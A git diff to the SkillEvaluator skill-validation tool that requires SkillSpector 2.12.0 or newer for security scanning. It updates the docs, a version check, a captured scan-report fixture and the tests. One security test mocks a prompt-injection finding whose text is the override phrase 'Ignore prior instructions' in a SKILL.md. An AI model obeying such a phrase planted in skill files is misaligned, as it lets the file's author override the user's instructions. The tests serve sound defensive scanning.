diff --git a/CHANGELOG.md b/CHANGELOG.md
index 706b1489..a19383ef 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -4,6 +4,11 @@ All notable changes to SkillEvaluator are documented in this file.
## Unreleased
+### Changed
+
+- Require SkillSpector 2.12.0 or newer for Tier 1 security scanning. Older
+ scanner versions now leave the result `INCOMPLETE` with upgrade guidance.
+
## 0.3.0 - 2026-09-17
### Added
diff --git a/README.md b/README.md
index d6b049aa..6ce24db9 100644
--- a/README.md
+++ b/README.md
@@ -115,9 +115,9 @@ skillevaluator context-optimization-check ./my-skill
skillevaluator similarity-check ./skills
```
-Install Semgrep, SkillSpector, and Gitleaks before a full run; missing Tier 1
-scanner evidence makes validation incomplete. Then verify the selected agent
-runtime and use `validate --full`:
+Install Semgrep, SkillSpector, and Gitleaks for full validation (SkillSpector
+`>=2.12.0`). Missing scanner evidence makes validation incomplete. Verify the
+agent runtime and use `validate --full`:
```bash
skillevaluator doctor --agents codex --env-mode docker
diff --git a/docs/ci-integration.mdx b/docs/ci-integration.mdx
index 99ca3d16..a91c183a 100644
--- a/docs/ci-integration.mdx
+++ b/docs/ci-integration.mdx
@@ -34,9 +34,9 @@ Each flag earns its place:
## GitHub Actions recipe
-A complete workflow: install with uv, add the external Semgrep, SkillSpector,
-and Gitleaks scanners for a complete security result, validate, upload the
-reports, and post the Markdown report on the pull request.
+A complete workflow: install with uv, add the external Semgrep, SkillSpector
+2.12.0 or newer, and Gitleaks scanners for a complete security result, validate,
+upload the reports, and post the Markdown report on the pull request.
```yaml title="ci.yml"
name: Validate skills
@@ -256,8 +256,9 @@ jq -e '([.quality_summary[]?.overall_score] | min // 100) >= 80' "$report"
A required scanner is missing or returned no evidence. Check the report for
the named scanner: Semgrep, SkillSpector, and Gitleaks are all separate
- executables, and the `security` extra alone does not install them. The
- scanners fail closed: `validate` exits non-zero and the report stays
+ executables, and the `security` extra alone does not install them. SkillSpector
+ versions older than 2.12.0 must be upgraded. The scanners fail closed:
+ `validate` exits non-zero and the report stays
non-green until every required scanner is installed and returns valid
evidence. See the workflow above or
[Installation: System tools](installation.mdx#system-tools).
diff --git a/docs/installation.mdx b/docs/installation.mdx
index e4ed106e..fdcc6616 100644
--- a/docs/installation.mdx
+++ b/docs/installation.mdx
@@ -135,6 +135,13 @@ uv tool install semgrep # isolated Python
uv tool install git+https://github.com/NVIDIA/SkillSpector.git
```
+SkillSpector **2.12.0 or newer** is required. Older versions leave validation
+`INCOMPLETE`. To upgrade an existing uv tool installation, run:
+
+```bash title="Upgrade SkillSpector"
+uv tool install --upgrade git+https://github.com/NVIDIA/SkillSpector.git
+```
+
On other systems, install Gitleaks with `go install github.com/gitleaks/gitleaks/v8@latest` or a binary from the [Gitleaks releases](https://github.com/gitleaks/gitleaks/releases). Semgrep and SkillSpector must be on `PATH`, or configured with `SKILLEVALUATOR_SEMGREP_PATH` and `SKILLEVALUATOR_SKILLSPECTOR_PATH`. RHEL 8 and compatible enterprise Linux systems can supply compatible executables independently of the SkillEvaluator Python environment.
Docker is required only for Tier 3 Docker-mode evaluation. Agent CLIs and their credentials are user-supplied — see [Agents & Sandboxes](agents-and-sandboxes.mdx).
@@ -158,7 +165,7 @@ skillevaluator health-check
uv installs tools to `~/.local/bin`, which may not be on PATH yet. Run `uv tool update-shell` and open a new terminal.
-Install any missing required scanner named in the report. The `security` extra supplies Bandit and pip-audit; Semgrep, SkillSpector, and Gitleaks are separate executables. Missing required evidence leaves validation `INCOMPLETE` and non-zero.
+Install any missing required scanner named in the report. The `security` extra supplies Bandit and pip-audit; Semgrep, SkillSpector, and Gitleaks are separate executables. SkillSpector must be version 2.12.0 or newer; see [System tools](#system-tools) for the upgrade command. Missing required evidence or an older SkillSpector version leaves validation `INCOMPLETE` and non-zero.
diff --git a/docs/quickstart.mdx b/docs/quickstart.mdx
index 76e49547..83128c75 100644
--- a/docs/quickstart.mdx
+++ b/docs/quickstart.mdx
@@ -42,8 +42,9 @@ Get your first evaluation result in about two minutes, with no API key. This pag
`validate` runs the full static and security check suite. The `[all]` install
above includes the Python scanners, but complete evidence also requires the
- separate Semgrep, SkillSpector, and Gitleaks executables. Install all three,
- and pass `--no-dedup` to skip the Tier 2 pass that needs an embeddings key:
+ separate Semgrep, SkillSpector 2.12.0 or newer, and Gitleaks executables.
+ Install all three, and pass `--no-dedup` to skip the Tier 2 pass that needs
+ an embeddings key:
```bash title="Complete offline Tier 1"
brew install semgrep gitleaks # macOS
diff --git a/docs/tier1-validation.mdx b/docs/tier1-validation.mdx
index fbdc90cd..3d54bc0a 100644
--- a/docs/tier1-validation.mdx
+++ b/docs/tier1-validation.mdx
@@ -275,7 +275,7 @@ The default set is `schema`, `version`, `security`, `pii`, `license`, `code-inte
## Scanner setup
-Install `skillevaluator[security]` for the bundled Python scanners (Bandit and pip-audit). Install Semgrep and SkillSpector in separate tool environments, and install Gitleaks separately — it is a Go binary, not a pip package. See [Installation](installation.mdx) for commands and the extras table.
+Install `skillevaluator[security]` for the bundled Python scanners (Bandit and pip-audit). Install Semgrep and SkillSpector **2.12.0 or newer** in separate tool environments, and install Gitleaks separately — it is a Go binary, not a pip package. Older SkillSpector versions leave the run `INCOMPLETE`; see [Installation: System tools](installation.mdx#system-tools) for installation and upgrade commands.
Semgrep uses a policy packaged with the installed distribution, with metrics and version checks disabled; Tier 1 never fetches a registry policy at runtime. The other public Tier 1 configuration also ships inside the package under `skillevaluator/config/`: `pii_patterns.yaml`, `unicode_smuggle_patterns.yaml`, `license_config.yaml`, and `profiles/external.yaml`.
diff --git a/src/skillevaluator/validators/security.py b/src/skillevaluator/validators/security.py
index c18215de..5bb7ee37 100644
--- a/src/skillevaluator/validators/security.py
+++ b/src/skillevaluator/validators/security.py
@@ -54,6 +54,7 @@
_AUTHOR_IDENTITY_RE = re.compile(r"^\S[^<>\n]* <(?P[^<>@\s]+@[^<>\s]+)>$")
_SKILLSPECTOR_POLICY_EXIT_CODES = frozenset({0, 1})
+_SKILLSPECTOR_MIN_VERSION = (2, 12, 0)
_SKILLSPECTOR_STATUSLESS_COMPLETENESS_VERSIONS = {(2, 9, 5), (2, 9, 6)}
_SKILLSPECTOR_FINDING_IDENTITY_VERSION = (2, 11, 1)
_SKILLSPECTOR_COMPLETENESS_SCHEMA_VERSION = (2, 10, 0)
@@ -1723,6 +1724,15 @@ def _validate_skillspector_report(
)
return False
+ if skillspector_version is not None and skillspector_version < _SKILLSPECTOR_MIN_VERSION:
+ minimum_version = ".".join(str(part) for part in _SKILLSPECTOR_MIN_VERSION)
+ result.add_error(
+ f"SkillSpector {minimum_version} or newer is required; found {metadata['skillspector_version']}. "
+ "Upgrade with: uv tool install --upgrade git+https://github.com/NVIDIA/SkillSpector.git; "
+ "security scan did not complete"
+ )
+ return False
+
return True
@staticmethod
diff --git a/tests/fixtures/skillspector-2.12.0-safe-no-llm.json b/tests/fixtures/skillspector-2.12.0-safe-no-llm.json
new file mode 100644
index 00000000..845bed48
--- /dev/null
+++ b/tests/fixtures/skillspector-2.12.0-safe-no-llm.json
@@ -0,0 +1,456 @@
+{
+ "skill": {
+ "name": "greeting",
+ "source": "/private/tmp/skillspector-2.12.0-audit/safe",
+ "scanned_at": "2026-09-23T07:48:45.411785+00:00"
+ },
+ "risk_assessment": {
+ "score": 0,
+ "severity": "LOW",
+ "recommendation": "SAFE",
+ "max_issue_severity": "NONE"
+ },
+ "components": [
+ {
+ "path": "SKILL.md",
+ "type": "markdown",
+ "lines": 8,
+ "executable": false,
+ "size_bytes": 100,
+ "source_url": null,
+ "source_identity": null,
+ "source_digest": null
+ }
+ ],
+ "structured_summaries": [],
+ "issues": [],
+ "suppressed_count": 0,
+ "suppressed": [],
+ "metadata": {
+ "has_executable_scripts": false,
+ "skillspector_version": "2.12.0",
+ "llm_requested": false,
+ "llm_available": false,
+ "meta_analysis_applied": false,
+ "inference_usage": [],
+ "llm_provenance": {
+ "schema_version": 1,
+ "provider": {
+ "configured_adapter": "nv_build",
+ "resolved_adapter": "nv_build",
+ "effective_adapter": "not_applicable",
+ "effective_adapters": [],
+ "service": "unknown",
+ "routing": {
+ "deployment_override": null,
+ "deployment_source": "not_applicable",
+ "api_version": null,
+ "api_version_source": "not_applicable"
+ }
+ },
+ "analyzers": [
+ {
+ "analyzer_id": "mcp_tool_poisoning",
+ "model": "z-ai/glm-5.2",
+ "model_source": "resolved_configuration",
+ "analyzer_revision": {
+ "value": "2.12.0",
+ "source": "skillspector_package",
+ "source_revision": {
+ "value": "41fca42e980d955d355b717a93a30831c26b284c",
+ "source": "build_environment"
+ }
+ }
+ },
+ {
+ "analyzer_id": "semantic_developer_intent",
+ "model": "z-ai/glm-5.2",
+ "model_source": "resolved_configuration",
+ "analyzer_revision": {
+ "value": "2.12.0",
+ "source": "skillspector_package",
+ "source_revision": {
+ "value": "41fca42e980d955d355b717a93a30831c26b284c",
+ "source": "build_environment"
+ }
+ }
+ },
+ {
+ "analyzer_id": "semantic_quality_policy",
+ "model": "z-ai/glm-5.2",
+ "model_source": "resolved_configuration",
+ "analyzer_revision": {
+ "value": "2.12.0",
+ "source": "skillspector_package",
+ "source_revision": {
+ "value": "41fca42e980d955d355b717a93a30831c26b284c",
+ "source": "build_environment"
+ }
+ }
+ },
+ {
+ "analyzer_id": "semantic_security_discovery",
+ "model": "z-ai/glm-5.2",
+ "model_source": "resolved_configuration",
+ "analyzer_revision": {
+ "value": "2.12.0",
+ "source": "skillspector_package",
+ "source_revision": {
+ "value": "41fca42e980d955d355b717a93a30831c26b284c",
+ "source": "build_environment"
+ }
+ }
+ },
+ {
+ "analyzer_id": "meta_analyzer",
+ "model": "z-ai/glm-5.2",
+ "model_source": "resolved_configuration",
+ "analyzer_revision": {
+ "value": "2.12.0",
+ "source": "skillspector_package",
+ "source_revision": {
+ "value": "41fca42e980d955d355b717a93a30831c26b284c",
+ "source": "build_environment"
+ }
+ }
+ }
+ ],
+ "sampling": {
+ "temperature": {
+ "requested": null,
+ "source": "provider_default",
+ "forwarded_to_client": null,
+ "adapter_support": true,
+ "provider_support": "unknown"
+ },
+ "seed": {
+ "requested": null,
+ "source": "unset",
+ "forwarded_to_client": null,
+ "adapter_support": true,
+ "provider_support": "unknown"
+ },
+ "reasoning_effort": {
+ "requested": null,
+ "source": "provider_default",
+ "forwarded_to_client": null,
+ "adapter_support": true,
+ "provider_support": "unknown"
+ }
+ },
+ "determinism": {
+ "classification": "not_applicable",
+ "control_status": "not_applied",
+ "provider_guarantee": false,
+ "reason": "LLM analysis was not executed for this scan."
+ }
+ },
+ "filtering_mode": "heuristic"
+ },
+ "execution_successful": true,
+ "analysis_completeness": {
+ "total_components": 1,
+ "scanned_components": 1,
+ "coverage_percent": 100.0,
+ "is_complete": true,
+ "status": "complete",
+ "execution_successful": true,
+ "fully_inspected_files": 1,
+ "partially_inspected_files": 0,
+ "entirely_uninspected_files": 0,
+ "ledger_exceptions": [],
+ "scope_exclusions": [],
+ "analyzer_statuses": [
+ {
+ "analyzer_id": "artifact_integrity",
+ "status": "completed",
+ "planned_work": 1,
+ "completed": 1,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0
+ },
+ {
+ "analyzer_id": "behavioral_ast",
+ "status": "not_applicable",
+ "planned_work": 0,
+ "completed": 0,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0,
+ "reason_code": "no_applicable_files",
+ "message": "No files matched this analyzer's applicability contract."
+ },
+ {
+ "analyzer_id": "behavioral_taint_tracking",
+ "status": "not_applicable",
+ "planned_work": 0,
+ "completed": 0,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0,
+ "reason_code": "no_applicable_files",
+ "message": "No files matched this analyzer's applicability contract."
+ },
+ {
+ "analyzer_id": "bundled_execution_surface",
+ "status": "not_applicable",
+ "planned_work": 0,
+ "completed": 0,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0,
+ "reason_code": "no_applicable_files",
+ "message": "No files matched this analyzer's applicability contract."
+ },
+ {
+ "analyzer_id": "mcp_least_privilege",
+ "status": "not_applicable",
+ "planned_work": 0,
+ "completed": 0,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0,
+ "reason_code": "no_applicable_files",
+ "message": "No files matched this analyzer's applicability contract."
+ },
+ {
+ "analyzer_id": "mcp_rug_pull",
+ "status": "completed",
+ "planned_work": 1,
+ "completed": 1,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0
+ },
+ {
+ "analyzer_id": "mcp_tool_poisoning",
+ "status": "completed",
+ "planned_work": 1,
+ "completed": 1,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0
+ },
+ {
+ "analyzer_id": "meta_analyzer",
+ "status": "not_applicable",
+ "planned_work": 0,
+ "completed": 0,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0,
+ "reason_code": "no_applicable_files",
+ "message": "No files matched this analyzer's applicability contract."
+ },
+ {
+ "analyzer_id": "semantic_developer_intent",
+ "status": "disabled",
+ "planned_work": 0,
+ "completed": 0,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0,
+ "reason_code": "disabled_by_configuration",
+ "message": "Analyzer was disabled by the requested configuration."
+ },
+ {
+ "analyzer_id": "semantic_quality_policy",
+ "status": "disabled",
+ "planned_work": 0,
+ "completed": 0,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0,
+ "reason_code": "disabled_by_configuration",
+ "message": "Analyzer was disabled by the requested configuration."
+ },
+ {
+ "analyzer_id": "semantic_security_discovery",
+ "status": "disabled",
+ "planned_work": 0,
+ "completed": 0,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0,
+ "reason_code": "disabled_by_configuration",
+ "message": "Analyzer was disabled by the requested configuration."
+ },
+ {
+ "analyzer_id": "static_patterns_agent_snooping",
+ "status": "completed",
+ "planned_work": 1,
+ "completed": 1,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0
+ },
+ {
+ "analyzer_id": "static_patterns_anti_refusal",
+ "status": "completed",
+ "planned_work": 1,
+ "completed": 1,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0
+ },
+ {
+ "analyzer_id": "static_patterns_data_exfiltration",
+ "status": "completed",
+ "planned_work": 1,
+ "completed": 1,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0
+ },
+ {
+ "analyzer_id": "static_patterns_deserialization",
+ "status": "completed",
+ "planned_work": 1,
+ "completed": 1,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0
+ },
+ {
+ "analyzer_id": "static_patterns_excessive_agency",
+ "status": "completed",
+ "planned_work": 1,
+ "completed": 1,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0
+ },
+ {
+ "analyzer_id": "static_patterns_harmful_content",
+ "status": "completed",
+ "planned_work": 1,
+ "completed": 1,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0
+ },
+ {
+ "analyzer_id": "static_patterns_memory_poisoning",
+ "status": "completed",
+ "planned_work": 1,
+ "completed": 1,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0
+ },
+ {
+ "analyzer_id": "static_patterns_output_handling",
+ "status": "completed",
+ "planned_work": 1,
+ "completed": 1,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0
+ },
+ {
+ "analyzer_id": "static_patterns_privilege_escalation",
+ "status": "completed",
+ "planned_work": 1,
+ "completed": 1,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0
+ },
+ {
+ "analyzer_id": "static_patterns_prompt_injection",
+ "status": "completed",
+ "planned_work": 1,
+ "completed": 1,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0
+ },
+ {
+ "analyzer_id": "static_patterns_rogue_agent",
+ "status": "completed",
+ "planned_work": 1,
+ "completed": 1,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0
+ },
+ {
+ "analyzer_id": "static_patterns_ssrf",
+ "status": "completed",
+ "planned_work": 1,
+ "completed": 1,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0
+ },
+ {
+ "analyzer_id": "static_patterns_supply_chain",
+ "status": "completed",
+ "planned_work": 1,
+ "completed": 1,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0
+ },
+ {
+ "analyzer_id": "static_patterns_system_prompt_leakage",
+ "status": "completed",
+ "planned_work": 1,
+ "completed": 1,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0
+ },
+ {
+ "analyzer_id": "static_patterns_tool_misuse",
+ "status": "completed",
+ "planned_work": 1,
+ "completed": 1,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0
+ },
+ {
+ "analyzer_id": "static_yara",
+ "status": "completed",
+ "planned_work": 1,
+ "completed": 1,
+ "partial": 0,
+ "skipped": 0,
+ "failed": 0,
+ "unaccounted": 0
+ }
+ ],
+ "references": [],
+ "limitations": [],
+ "findings_before_filtering": 0,
+ "findings_after_filtering": 0
+ }
+}
diff --git a/tests/validators/test_artifact_dir_exclusion.py b/tests/validators/test_artifact_dir_exclusion.py
index e1fd3c34..c61d0dd0 100644
--- a/tests/validators/test_artifact_dir_exclusion.py
+++ b/tests/validators/test_artifact_dir_exclusion.py
@@ -27,6 +27,8 @@
from skillevaluator.validators.secrets import SecretsValidator
from skillevaluator.validators.security import SecurityValidator
+_SKILLSPECTOR_REPORT = Path(__file__).parents[1] / "fixtures" / "skillspector-2.12.0-safe-no-llm.json"
+
@pytest.fixture
def skill_with_artifacts(tmp_path):
@@ -106,17 +108,7 @@ def test_endswith_semantics_preserved(self, tmp_path):
def _clean_spector_result():
return ToolResult(
success=True,
- stdout=json.dumps(
- {
- "risk_assessment": {"score": 0, "severity": "LOW", "recommendation": "SAFE"},
- "issues": [],
- "metadata": {
- "skillspector_version": "1.0.0",
- "llm_requested": False,
- "llm_available": False,
- },
- }
- ),
+ stdout=_SKILLSPECTOR_REPORT.read_text(encoding="utf-8"),
stderr="",
exit_code=0,
)
@@ -182,6 +174,7 @@ def capture(args, **kwargs):
data["issues"] = [
{
"id": "SC8",
+ "finding_id": "shipped-bytecode",
"pattern": "Shipped Python bytecode",
"severity": "HIGH",
"confidence": 0.95,
@@ -189,6 +182,8 @@ def capture(args, **kwargs):
"location": {"file": "__pycache__/payload.pyc", "start_line": 1},
}
]
+ data["analysis_completeness"]["findings_before_filtering"] = 1
+ data["analysis_completeness"]["findings_after_filtering"] = 1
return ToolResult(success=False, stdout=json.dumps(data), stderr="", exit_code=1)
mock_run.side_effect = capture
@@ -205,22 +200,28 @@ def capture(args, **kwargs):
def test_findings_map_back_to_original_paths(self, mock_run, skill_with_artifacts):
def report_on_copy(args, **kwargs):
scanned = args[args.index("scan") + 1]
- data = {
- "skill": {"name": "my-skill", "source": scanned},
- "risk_assessment": {"score": 80, "severity": "HIGH", "recommendation": "DO_NOT_INSTALL"},
- "issues": [
- {
- "id": "SS001",
- "category": "execution",
- "pattern": "eval-usage",
- "severity": "HIGH",
- "confidence": 1.0,
- "location": {"file": f"{scanned}/payload.py", "start_line": 1},
- "finding": "dangerous call",
- }
- ],
- "metadata": {"skillspector_version": "1.0.0"},
+ data = json.loads(_clean_spector_result().stdout)
+ data["skill"] = {"name": "my-skill", "source": scanned}
+ data["risk_assessment"] = {
+ "score": 80,
+ "severity": "HIGH",
+ "recommendation": "DO_NOT_INSTALL",
}
+ data["issues"] = [
+ {
+ "id": "SS001",
+ "finding_id": "dangerous-call",
+ "category": "execution",
+ "pattern": "eval-usage",
+ "severity": "HIGH",
+ "confidence": 1.0,
+ "location": {"file": f"{scanned}/payload.py", "start_line": 1},
+ "finding": "dangerous call",
+ }
+ ]
+ data["components"][0]["path"] = f"{scanned}/payload.py"
+ data["analysis_completeness"]["findings_before_filtering"] = 1
+ data["analysis_completeness"]["findings_after_filtering"] = 1
return ToolResult(success=False, stdout=json.dumps(data), stderr="", exit_code=1)
mock_run.side_effect = report_on_copy
diff --git a/tests/validators/test_scan_incomplete.py b/tests/validators/test_scan_incomplete.py
index 99b594e1..6cc20bc0 100644
--- a/tests/validators/test_scan_incomplete.py
+++ b/tests/validators/test_scan_incomplete.py
@@ -17,6 +17,7 @@
TIMEOUT_RESULT = ToolResult(success=False, stdout="", stderr="", exit_code=-1, error_message="tool timed out")
CRASH_RESULT = ToolResult(success=True, stdout="", stderr="usage error", exit_code=2)
+_SKILLSPECTOR_REPORT = Path(__file__).parents[1] / "fixtures" / "skillspector-2.12.0-safe-no-llm.json"
@pytest.fixture
@@ -134,13 +135,7 @@ def test_skillspector_missing_required_report_fields_is_incomplete(self, _mock_r
def test_clean_scan_is_not_marked(self, mock_run, skill_dir):
mock_run.return_value = ToolResult(
success=True,
- stdout=json.dumps(
- {
- "risk_assessment": {"score": 0, "severity": "LOW", "recommendation": "SAFE"},
- "issues": [],
- "metadata": {"skillspector_version": "1.0.0"},
- }
- ),
+ stdout=_SKILLSPECTOR_REPORT.read_text(encoding="utf-8"),
stderr="",
exit_code=0,
)
diff --git a/tests/validators/test_security.py b/tests/validators/test_security.py
index 91127392..2bfb5062 100644
--- a/tests/validators/test_security.py
+++ b/tests/validators/test_security.py
@@ -21,10 +21,11 @@
_SKILLSPECTOR_2_9_6_NO_LLM_REPORT = (
Path(__file__).parents[1] / "fixtures" / "skillspector-2.9.6-no-llm.json"
)
-_SKILLSPECTOR_2_10_REQUIRED_ANALYZERS = (
+_SKILLSPECTOR_REQUIRED_ANALYZERS = (
"artifact_integrity",
"behavioral_ast",
"behavioral_taint_tracking",
+ "bundled_execution_surface",
"mcp_least_privilege",
"mcp_rug_pull",
"mcp_tool_poisoning",
@@ -60,7 +61,7 @@
}
_SKILLSPECTOR_UNIVERSAL_ANALYZERS = {
analyzer_id
- for analyzer_id in _SKILLSPECTOR_2_10_REQUIRED_ANALYZERS
+ for analyzer_id in _SKILLSPECTOR_REQUIRED_ANALYZERS
if analyzer_id in {"artifact_integrity", "static_yara"}
or analyzer_id.startswith("static_patterns_")
}
@@ -117,7 +118,7 @@ def _skillspector_json_report(
source_key = next(((key, source[key]) for key in source), ("", ""))
components_by_key.setdefault((source_key, path), {"path": path, "executable": False, **source})
components = list(components_by_key.values())
- analyzer_ids = _SKILLSPECTOR_2_10_REQUIRED_ANALYZERS + (
+ analyzer_ids = _SKILLSPECTOR_REQUIRED_ANALYZERS + (
_SKILLSPECTOR_SEMANTIC_ANALYZERS if llm_requested else ()
)
return {
@@ -167,7 +168,7 @@ def _skillspector_json_report(
},
"metadata": {
"has_executable_scripts": False,
- "skillspector_version": "2.10.0",
+ "skillspector_version": "2.12.0",
"llm_requested": llm_requested,
"llm_available": llm_available,
"meta_analysis_applied": False,
@@ -227,19 +228,6 @@ def _skillspector_documentation_only_report() -> dict:
"status": "partial",
}
)
- payload["analysis_completeness"]["analyzer_statuses"].append(
- {
- "analyzer_id": "bundled_execution_surface",
- "status": "not_applicable",
- "planned_work": 0,
- "completed": 0,
- "partial": 0,
- "skipped": 0,
- "failed": 0,
- "unaccounted": 0,
- "reason_code": "no_applicable_files",
- }
- )
for status in payload["analysis_completeness"]["analyzer_statuses"]:
if status["analyzer_id"] in _SKILLSPECTOR_2_11_2_DOCS_ONLY_NOT_APPLICABLE_ANALYZERS:
status.update(
@@ -1480,21 +1468,17 @@ def test_skillspector_policy_exit_one_processes_findings(self, mock_tools, sampl
mock_tools.skillspector.run.return_value = ToolResult(
success=False,
stdout=json.dumps(
- {
- "risk_assessment": {"score": 80, "severity": "HIGH", "recommendation": "DO_NOT_INSTALL"},
- "issues": [
- {
- "id": "PI-1",
- "category": "Prompt Injection",
- "pattern": "Instruction override",
- "severity": "HIGH",
- "confidence": 1.0,
- "finding": "Ignore prior instructions",
- "location": {"file": "SKILL.md", "start_line": 8},
- }
- ],
- "metadata": {"skillspector_version": "1.0.0"},
- }
+ _skillspector_json_report([
+ {
+ "id": "PI-1",
+ "category": "Prompt Injection",
+ "pattern": "Instruction override",
+ "severity": "HIGH",
+ "confidence": 1.0,
+ "finding": "Ignore prior instructions",
+ "location": {"file": "SKILL.md", "start_line": 8},
+ }
+ ])
),
stderr="",
exit_code=1,
@@ -2233,13 +2217,16 @@ def test_deterministic_skillspector_stage_rejects_llm_metadata(
assert result.status == "incomplete"
assert any("--no-llm" in error for error in result.errors)
+ @pytest.mark.parametrize("version", ["2.12.0", "2.12.1", "2.13.0", "3.0.0"])
@patch("skillevaluator.validators.security.Tools")
def test_skillspector_accepts_valid_clean_report(
self,
mock_tools,
sample_skill_dir: Path,
+ version: str,
) -> None:
payload = _skillspector_json_report()
+ payload["metadata"]["skillspector_version"] = version
mock_tools.skillspector.is_available = True
mock_tools.skillspector.run.return_value = ToolResult(
success=True,
@@ -2254,8 +2241,31 @@ def test_skillspector_accepts_valid_clean_report(
assert not result.errors
assert any(detail.check_name == "skillspector" for detail in result.success_details)
+ @pytest.mark.parametrize("version", ["2.10.0", "2.11.1", "2.11.2", "2.11.99"])
+ @pytest.mark.parametrize("use_llm", [False, True])
@patch("skillevaluator.validators.security.Tools")
- def test_skillspector_accepts_fully_covered_documentation_only_report(
+ def test_skillspector_rejects_versions_below_minimum(
+ self, mock_tools, sample_skill_dir: Path, version: str, use_llm: bool,
+ ) -> None:
+ payload = _skillspector_json_report(llm_requested=use_llm, llm_available=use_llm)
+ payload["metadata"]["skillspector_version"] = version
+ mock_tools.skillspector.run.return_value = ToolResult(
+ success=True, stdout=json.dumps(payload), stderr="", exit_code=0,
+ )
+
+ result = SecurityValidator()._run_skillspector_once(
+ sample_skill_dir, original_root=None, use_llm=use_llm,
+ )
+
+ assert result.is_incomplete
+ assert result.incomplete_scans == ["skillspector-llm" if use_llm else "skillspector"]
+ assert any(f"2.12.0 or newer is required; found {version}" in error for error in result.errors)
+ assert any("uv tool install --upgrade" in error for error in result.errors)
+ assert not result.findings
+ assert not result.success_details
+
+ @patch("skillevaluator.validators.security.Tools")
+ def test_skillspector_rejects_legacy_documentation_only_report(
self,
mock_tools,
sample_skill_dir: Path,
@@ -2264,9 +2274,9 @@ def test_skillspector_accepts_fully_covered_documentation_only_report(
result = _validate_skillspector_payload(mock_tools, sample_skill_dir, payload)
- assert result.passed
- assert not result.errors
- assert any(detail.check_name == "skillspector" for detail in result.success_details)
+ assert result.is_incomplete
+ assert any("2.12.0 or newer is required; found 2.11.2" in error for error in result.errors)
+ assert not result.success_details
@pytest.mark.parametrize(
"invalid_evidence",
@@ -2353,9 +2363,9 @@ def test_skillspector_executable_skill_cannot_use_documentation_only_exception(
assert result.is_incomplete
assert not any(detail.check_name == "skillspector" for detail in result.success_details)
- @pytest.mark.parametrize("version", ["2.9.5-safe", "2.9.6", "2.11.1-safe"])
+ @pytest.mark.parametrize("version", ["2.9.5-safe", "2.9.6", "2.11.1-safe", "2.12.0-safe"])
@patch("skillevaluator.validators.security.Tools")
- def test_skillspector_accepts_captured_no_llm_report(
+ def test_skillspector_checks_minimum_version_of_captured_no_llm_report(
self,
mock_tools,
sample_skill_dir: Path,
@@ -2373,13 +2383,18 @@ def test_skillspector_accepts_captured_no_llm_report(
result = SecurityValidator(use_llm=False).validate_security_only(sample_skill_dir)
- assert result.passed
- assert not result.errors
- assert any(detail.check_name == "skillspector" for detail in result.success_details)
+ if version == "2.12.0-safe":
+ assert result.passed
+ assert not result.errors
+ assert any(detail.check_name == "skillspector" for detail in result.success_details)
+ else:
+ assert result.is_incomplete
+ assert any("2.12.0 or newer is required" in error for error in result.errors)
+ assert not result.success_details
- @pytest.mark.parametrize("version", ["2.10.0", "2.11.0", "2.11.1"])
+ @pytest.mark.parametrize("version", ["2.12.0", "2.12.1"])
@patch("skillevaluator.validators.security.Tools")
- def test_skillspector_requires_bundled_execution_surface_since_2_11(
+ def test_skillspector_requires_bundled_execution_surface(
self, mock_tools, sample_skill_dir: Path, version: str,
) -> None:
payload = json.loads((
@@ -2391,11 +2406,8 @@ def test_skillspector_requires_bundled_execution_surface_since_2_11(
if item["analyzer_id"] != "bundled_execution_surface"
]
result = _validate_skillspector_payload(mock_tools, sample_skill_dir, payload)
- if version == "2.10.0":
- assert result.passed
- else:
- assert result.is_incomplete
- assert any("missing required analyzer evidence" in error for error in result.errors)
+ assert result.is_incomplete
+ assert any("missing required analyzer evidence" in error for error in result.errors)
@pytest.mark.parametrize(
"mutation", [None, "finding_id", "score", "count", "old-version", "expanded", "evidence-types"]
@@ -2410,6 +2422,8 @@ def test_skillspector_captured_classification_distinct_pe3(
payload = json.loads((
Path(__file__).parents[1] / "fixtures" / "skillspector-2.11.1-pe3-no-llm.json"
).read_text(encoding="utf-8"))
+ # Exercise the captured finding shape against the current minimum version.
+ payload["metadata"]["skillspector_version"] = "2.12.0"
first, second = [issue for issue in payload["issues"] if issue["id"] == "PE3"]
assert first["match_fingerprint"] == second["match_fingerprint"]
assert first["finding_id"] != second["finding_id"]
@@ -2531,7 +2545,7 @@ def test_skillspector_rejects_2_9_6_report_without_llm_requested(
assert any("metadata.llm_requested" in error for error in result.errors)
@patch("skillevaluator.validators.security.Tools")
- def test_skillspector_accepts_legacy_report_without_completeness(
+ def test_skillspector_rejects_legacy_report_without_completeness(
self,
mock_tools,
